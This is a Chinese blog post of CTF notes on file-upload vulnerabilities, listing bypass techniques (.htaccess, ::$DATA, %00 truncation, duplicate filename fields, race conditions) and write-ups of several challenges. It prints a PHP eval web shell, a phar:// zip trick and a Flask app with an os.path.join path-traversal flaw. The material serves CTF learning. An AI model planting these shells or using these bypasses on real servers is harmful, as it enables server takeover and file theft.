当前位置: 首页 > news >正文

ctf文件上传题小总结与记录

解题思路:先看中间件,文件上传点(字典扫描,会员中心),绕过/验证(黑名单,白名单),解析漏洞,cms,编辑器,最新cve

文件上传漏洞一般危害高

先看中间件,看有没有已经公布的漏洞,找文件上传点,试它的验证模式(黑白名单,后缀名,文件类型(MIME),文件头(png等文件有固定文件头))

  • 看能不能上传.htaccess文件,将其他类型的文件作为php执行,配合图片马
  • 对应中间件,查看是否有解析漏洞(四种)
  • ::$DATA会把之后的数据当成文件流处理,不会检测后缀名,且保持'::$DATA'之前的文件名;
  • 查看是否有二次渲染,先上传再验证再二次上传,二次渲染配合条件竞争,在文件第一次上传后迅速访问第一次上传地址,让其不能进行后续重命名验证上传操作,实现木马后门的植入。
  • 数据溢出:插入大量垃圾数据,绕过验证
  • 符号变异:利用” ’ ;等符号如"1.php"x"x.php 绕过验证上传。
  • 数据截断:%00:x.php%00.jpg,将%00进行手工url编码
  • 数据截断:换行,如"x.(换行)p(换行)h(换行)p”
  • 重复数据:重复写filename数据

上传x.php,用重复数据迷惑验证,实际上filename仍是x.php

上传jpeg;x.php,绕过验证,/也可以作为一个条件绕过

  • 可上传zip文件,phar伪协议对压缩的php进行读取
  • os.path.join()函数存在绝对路径拼接漏洞,如file_path = os.path.join(“var”, “lib”, filename),可访问任意文件
  • burp加字典爆破绕过

[MoeCTF 2022]what are y0u uploading?

文件上传

有源码,感觉应该不会很难,是个白名单绕过

没经过代理,直接执行了

传一个jpg上去,这次抓到包了,在这上面改,好像就不用经过第一个验证了

这咋办,偷偷去看一眼wp

什么!!!是f1ag.php

结束

总结:一道很简单的题目,小心掉坑

[NISACTF 2022]bingdundun~

phar执行php压缩文件 文件上传 PHP伪协议 PHP

phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

只能上传图片或压缩包格式

将内容为

<?php
phpinfo();
@eval($_POST['cmd']);
?>

的putin.php文件压缩成zip文件,上传。

用phar://伪协议访问上传的文件

能够执行,用蚁剑连接

得到flag

总结:遇到可上传压缩文件的文件上传题,可将php文件压缩后上传,用phar读取来执行后门

[UUCTF 2022 新生赛]ez_upload

文件上传,Apache HTTPD 多后缀解析漏洞

此漏洞与版本无关,是因为用户配置存在漏洞

访问之后连蚁剑进入后台

总结:看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。

[NISACTF 2022]babyupload

标签:文件上传,Python,Flask

os.path.join()函数存在绝对路径拼接漏洞

得到一个python文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""def db():g_db = getattr(g, '_database', None)if g_db is None:g_db = g._database = sqlite3.connect("database.db")return g_db@app.before_first_request
def setup():os.remove("database.db")cur = db().cursor()cur.executescript(SCHEMA)@app.route('/')
def hello_world():return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">Select image to upload:<input type="file" name="file"><input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""@app.route('/source')
def source():return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return redirect('/')file = request.files['file']if "." in file.filename:return "Bad filename!", 403conn = db()cur = conn.cursor()uid = uuid.uuid4().hextry:cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))except sqlite3.IntegrityError:return "Duplicate file"conn.commit()file.save('uploads/' + file.filename)return redirect('/file/' + uid)@app.route('/file/<id>')
def file(id):conn = db()cur = conn.cursor()cur.execute("select path from files where id=?", (id,))res = cur.fetchone()if res is None:return "File not found", 404# print(res[0])with open(os.path.join("uploads/", res[0]), "r") as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

将文件名改成/flag,访问返回网址后得到flag

原理:os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当做组件拼接到基础路径之后。

然而,如果拼接的路径以/开头,那么包括基础路径在内的所有前缀路径将会被删除,该路径被视为绝对路径,造成任意文件读取漏洞。

file_path = os.path.join(“var”, “lib”, filename)

如果攻击者传入的文件名参数为”/a/b/c.txt“,那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。

[WUSTCTF 2020]CV Maker

标签:文件上传图片马

随便注册一个账号

进入此页面

找到上传点了

发现这样就行

在末尾写入

<?php
phpinfo();
@eval($_POST['cmd']);
?>

拖拉图片访问图片地址,发现php被执行

蚁剑连接

????!!!我flag呢?谁偷了

服了,原来phpinfo()里就有

ctrl+f查找flag

 总结:简单的文件上传,让我找回了自信

http://www.lryc.cn/news/475391.html

相关文章:

  • 什么是QAM
  • GraphQL 与 Elasticsearch 相遇:使用 Hasura DDN 构建可扩展、支持 AI 的应用程序
  • 面试题整理 3
  • 数据结构(Java)—— 认识泛型
  • 处理后的视频如何加上音频信息?
  • 02LangChain 实战课——安装入门
  • Python函数中关键字参数、位置参数、默认参数有何不同
  • PNG 格式和 JPG 格式都什么时候用
  • Qt 练习做一个登录界面
  • 计算机视觉实验一:图像基础处理
  • 【WebApi】C# webapi 后端接收部分属性
  • Java 使用 Redis
  • 【ONE·Linux || 高级IO(二)】
  • 将 IBM WatsonX 数据与 Milvus 结合使用,构建用于知识检索的智能 Slack 机器人
  • 2024 网鼎杯 CTF --- Crypto wp
  • 深度学习基础知识-损失函数
  • 《逆向记录》
  • chatgpt3.5权重参数有多少MB;llama7B权重参数有多少MB
  • ST IoT Wireless 物联网与无线技术 研讨会
  • PHP实现雪花算法生成唯一ID
  • APP的设置页面,应该怎样尽可能减少用户的输入操作呢
  • Node.js:内置模块
  • 3. keil + vscode 进行stm32协同开发
  • React 组件生命周期与 Hooks 简明指南
  • 【springcloud】gateway网关的作用
  • 「C/C++」C++11 之<thread>多线程编程
  • HTML前端页面设计静态网站-仿百度
  • 百度SEO是否还有用?福州百度SEO专家林汉文为你深度解析
  • 数学建模学习(134):使用Python基于WISP的多准则决策分析
  • .net core NPOI以及NOPI mapper